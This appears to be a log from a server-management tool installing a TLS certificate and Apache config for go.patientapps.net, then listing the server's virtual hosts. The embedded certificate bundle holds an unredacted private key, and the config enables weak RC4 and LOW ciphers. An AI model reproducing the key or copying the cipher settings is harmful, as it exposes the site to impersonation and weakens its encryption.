TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-18 06:00:49: Establishing a connection
2026-02-18 06:00:49: Establishing a connection
2026-02-18 06:00:50: 

PUT: /tmp/pkp214221

#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-18 06:00:50: 

chmod 755 /tmp/pkp214221; /tmp/pkp214221; rm /tmp/pkp214221

2026-02-18 06:00:50: 


0


2026-02-18 06:01:20: Establishing a connection
2026-02-18 06:01:20: 

PUT: /tmp/pkp274631

#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt

cat > $temp_file <<'endmsg'
12:43:7d:36:44:06:31:e6:08:55:6a:17:ee:44:5d:ec

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBfbT0HChI/TXHXZWhtSt0FaiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMjQ4WhcNMjYwNTE5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCHtPF6ppEyKuPxcVHrepT9+OcOZuddWUPBpGNroQOt9Tn//nd7QsdkICNy
GCBP7Yi119Qua5EJCpTK0shzudqi8ixdX1VJ/Is4fHMv14WowSJyKNABbpBtkKpJ
HaVYC2DNtkOBlXno5uzqz6rNdsftoWz5bb8+bShNwyGgbJ2IB51KXQW/SHb4LWy8
eU9Cp+oq7uih+H7GiVuml+afrFkFk9SZVhWSg/cIUecR+wAK19p7zehPy/HnxclI
LycEhaf0zb2FnVFB+rHQxkktCiwatZjCA2Yy1/VBqYJ/CWabZhgtN1NtKfS18GQV
tzkXfoaozzEl5V1rNXmYzcAmzOQDAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
YcEBkfbb3v7vCmu9r3nMtIMSfWUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8zNS5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4APYAdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxvVrM+AAAEAwBGMEQCIANCPY/h
t28kEkE8tX+zFAnj8mDBYy7FJP65Swb4Di6sAiACOz6/3TurPHR44C2t8B1HmCs1
W9ac8aV4tXXkkgyhBQB9ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayj
AAABnG9WtnwACAAABQBKAEGnBAMARjBEAiAkm7GBcRsv+tqsLnB+I51wchcLYsO2
UjNz1cLYhnXUVwIgc3s8qeuZwdbTkOsfSPI/ijhW+jk1Jw+K9XnF46sEo04wDQYJ
KoZIhvcNAQELBQADggEBAGXJMgJEUWb3/uGGSbYJyJuf4R/nVD0PRV77L7DXDtvW
XxLOpO+zyQn+1wWBvREVIUpQuVOGYHymQ8hyHkWvDKJ9zonQnaVsJIKLWPwVlacZ
ZyitnmpiHE5ze3nbAjPWBjCTX1hjNoGDS+FbbCDZN04xxyXAQyjxkjabHQRV+P0I
VYRjjD3/X9znfkpophqDQMvdktMIp5Y4cpXfEjOZFmSEnn6Olr+JrfMz62mmEKfu
udQK7LmOEWEQs32ouIJBJWZiql57uFYBaSPk3PHmeXiDCWPestOxjQhoz7pw1sdv
4wBYir/URYn8XTH3YaVpfS/hM7Wl80a/qVCyVzQ9N1s=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCHtPF6ppEyKuPx
cVHrepT9+OcOZuddWUPBpGNroQOt9Tn//nd7QsdkICNyGCBP7Yi119Qua5EJCpTK
0shzudqi8ixdX1VJ/Is4fHMv14WowSJyKNABbpBtkKpJHaVYC2DNtkOBlXno5uzq
z6rNdsftoWz5bb8+bShNwyGgbJ2IB51KXQW/SHb4LWy8eU9Cp+oq7uih+H7GiVum
l+afrFkFk9SZVhWSg/cIUecR+wAK19p7zehPy/HnxclILycEhaf0zb2FnVFB+rHQ
xkktCiwatZjCA2Yy1/VBqYJ/CWabZhgtN1NtKfS18GQVtzkXfoaozzEl5V1rNXmY
zcAmzOQDAgMBAAECggEAII+BKxEBIHzbAUjTw4C/c+p/Idz94U90KueS9TWGaPxA
RNRc/aWpqrPtXUg9pH/VP/A/mD216GnyBnIpp16t/0/E5khj8eMW0mBF0PJQvwtM
BQEW22kYXTmLKgzjaasdOG5lZxeizwdtS++0xySbVsBXIce7zbIqK/JIRLIa4BK+
La7RpAbVvjq96rbdwviJVKSEeumlQkUIkOTRdTAVKzLsmX248x9YhRWdirlIhinD
g38EwxhqM18pPPXzcCnNIFVpfdJVNJu6prMR/efp/IbXK1oiHD4e2pkyXCqaCxBU
97xReAioQsoF+KkKD2NqKCepexD2sk5tsB7rpVmLGQKBgQC9a3ktxrHSytsZWSoj
XK9t1uiT1+2f9mAOS/cHJ4Xii5WN4pd5bywCG9TpbFQLWlTr2+dvdWRHEeov8Nb1
Cl1qZaNUysA7L7s8AZ3tOlxE+nT12shswJxcsobSLzNcMlofyPWN9t0KVuzsVCA/
FU02EuDGlgttUlhFwcsz/nmQGwKBgQC3aDkGch0Dxilamc+qEtFusMa2va8Dk1M8
HUUN5pZRsddm7xoQzBnDeTJomFy0kf9X8BSS4i8e9VJg4x2+Cwk2rbkkPjEViPT7
SvMcesB200QA0Cwo8B3d0fk7Rlp6S1ASBAkYn9qbRigxJTu6270pfMG5fDfYvypj
Oyotd3xKOQKBgQCFt+4m06LLFSuQ/HIT3qV1XAZ6ADAfAbWTwirUYSFR6YodTL30
GvgtUOqAElpOXWmfy3DZLT0qMsppJ5MID1Yc+z1PaYZFAhAib13Gj7F9fHW+7cEZ
jOuVQO6OSIXwaxdWYu5+Vqx6VR0SRN0yy13jc3Y8msXcWgo4zHMf9GBqywKBgD1m
UtDpmvUMfgOqwm65ZguceqnqzpBv3cmeMuP4chJfazE2ko9VBLr/8/Q4LbD1v3n9
EaYquoOutSliXy6kGy2G8xhDCcOf2gPWj5TVM2GUUIvFJUN/P0Bnbvx9DQUr+V5O
o4zu1wxsbEAnqttffPBKp8Ak6b1SIiqeP/yAp8dhAoGBAIHF7vLVL/wxPp8Xllur
0VRUZXispT8+5Se50g1RWXh2g0ntqs4VMDCOqdn6uRDo8YI2zPz/Wrm6XIN+LxTb
bvqC7222iiUnmFzDAPsmeHfU16Yp0gvyVVWoZEiHesbwD+11Dlhy7CtdkoLVgMPf
MyXtH//9WWd68DxDnEOYpDPA
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-18 06:01:20: 

chmod 755 /tmp/pkp274631; /tmp/pkp274631; rm /tmp/pkp274631

2026-02-18 06:01:20: 


dir=/etc/ssl/certs


2026-02-18 06:01:20: 

PUT: /tmp/pkp121902

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-18 06:01:20: 

chmod 755 /tmp/pkp121902; /tmp/pkp121902; rm /tmp/pkp121902

2026-02-18 06:01:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>






2026-02-18 06:01:20: 

PUT: /tmp/pkp613605

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi


2026-02-18 06:01:20: 

chmod 755 /tmp/pkp613605; /tmp/pkp613605; rm /tmp/pkp613605

2026-02-18 06:01:20: 




2026-02-18 06:01:20: 

PUT: /tmp/pkp841213

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-18 06:01:20: 

chmod 755 /tmp/pkp841213; /tmp/pkp841213; rm /tmp/pkp841213

2026-02-18 06:01:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:01:20: Establishing a connection
2026-02-18 06:01:20: 

PUT: /tmp/pkp816580

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-18 06:01:21: 

chmod 755 /tmp/pkp816580; /tmp/pkp816580; rm /tmp/pkp816580

2026-02-18 06:01:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
